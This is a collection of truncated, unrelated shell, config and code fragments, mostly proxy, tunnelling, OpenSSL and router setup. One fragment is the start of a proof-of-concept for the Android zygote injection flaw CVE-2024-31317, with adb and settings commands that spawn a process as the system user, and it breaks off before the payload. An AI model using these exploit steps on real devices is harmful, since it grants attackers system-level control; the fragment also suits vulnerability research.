1eo1

#!/usr/bin/env bash
set -euo pipefail

usage() {
  cat <<EOF
Usage: ${0##*/} [-t|-q|-a] example.com
Options:
  -t  Capture TLS ClientHello (default)
  -q  Capture QUIC Initial
  -a  Capture both TLS and QUIC

1eo1

#!/bin/sh
# PoC prepares the payload of commands to execute through the zygote injection CVE-2024-31317:
# https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
#
# USAGE (android 13, with pre-13 use 12200 instead of 32768):
#    host$ adb push payload.sh /sdcard/
#    host$ adb shell
#   shell$ logcat -c; settings put global hidden_api_blacklist_exemptions "$(sh /sdcard/payload.sh 8192 32768 \
#          --runtime-args --setuid=1000 --setgid=1000 --runtime-flags=16787456 --mount-external-default --target-sdk-version=22 \
#          --setgroups=3003 --nice-name=com.android.settings --seinfo=platform:privapp:targetSdkVersion=33:complete \

1eo1

#!/bin/bash

if [ "$EUID" -ne 0 ]; then echo "Please run as root"; exit; fi

GATEWAY=$(ip route | awk '/default/ {print $3}')
GATEWAY_V6=$(ip -6 route | awk '/default/ {print $3}')
INTERFACE=$(ip route | awk '/default/ {print $5}')

XRAY_EXE="/opt/xray/xray"
XRAY_CONFIG="/path/to/config.json"

1eo1

1. Configure redsocks

/etc/redsocks.conf

base {
        log_debug = off;
        log_info = on;
        log = "syslog:local7";
        daemon = on;
        redirector = iptables;
}

1eo1

Generate public key + sha256 rely on X.509
1. openssl s_client -connect api.github.com:443 | openssl x509 -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64
2. openssl x509 -noout -in certificate.pem -pubkey | openssl asn1parse -noout -inform pem -out public.key openssl dgst -sha256 -binary public.key | openssl enc -base64
3. openssl rsa -in my-rsa-key-file.key -outform der -pubout | openssl dgst -sha256 -binary | openssl enc -base64
4. openssl req -in my-signing-request.csr -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64
5. openssl x509 -in my-certificate.crt -pubkey -noout | openssl pkey -pubin -outform der | openssl dgst -sha256 -binary | openssl enc -base64

Covert PEM to DER
openssl x509 -outform der -in certificate.pem -out certificate.der

1eo1

#!/bin/bash

start_ssredir() {
    # please modify MyIP, MyPort, etc.
    (ss-redir -s MyIP -p MyPort -m MyMethod -k MyPasswd -b 127.0.0.1 -l 60080 --no-delay -u -T -v </dev/null &>>/var/log/ss-redir.log &)
}

stop_ssredir() {
    kill -9 $(pidof ss-redir) &>/dev/null
}

1eo1

Some networks, e.g. Azure VNets, are quite restrictive about the supported procotols. Azure for example only supports TCP and UDP. Fortunately there is the Foo-Over-UDP ("FOU"), tunneling over UDP and thus bypassing the Azure limitation.

1. You need a Linux distribution that supports FOU, for example Ubuntu.
   RHEL for example does not support FOU (so Fedora and CentOS probably neither).
2. the fou module must be configured to be loaded automatically. (modprobe fou, /etc/modules.conf)
3. choose your "foo": e.g. IPIP.
   Check your OS docs what other protocols are supported, for example via man systemd.netdev.
4. sending and receving FOU is separated, you will need to create on device for each:
   1. create one device for sending/encapsulation (fou-tx, fou-tx.netdev)
   2. create one device for receiving/decapsulation (fou-rx, fou-rx.netdev)
5. attach networ

1eo1

Instructions for expanding space for openwrt programs. In most cases, 2Gb will be enough. We will install the necessary packages for working with USB devices

root@OpenWrt:~# opkg update
root@OpenWrt:~# opkg install nano kmod-usb-core block-mount kmod-fs-ext4 kmod-usb-storage-extras e2fsprogs blkid

After install fdisk package

1eo1

global
	#debug
	#daemon
	log 		        127.0.0.1    local0

  defaults
	log  		        global
	option 		        httplog

  frontend unsecured *:80

1eo1

const net = require('net')
net.createServer(client => {
	client.once('data', data => {
		client.write(Buffer.from([5, 0]));

		client.once('data', data => {
			data = [...data];
			let ver = data.shift();
			let cmd = data.shift(); //1: connect, 2: bind, 3: udp
			let rsv = data.shift();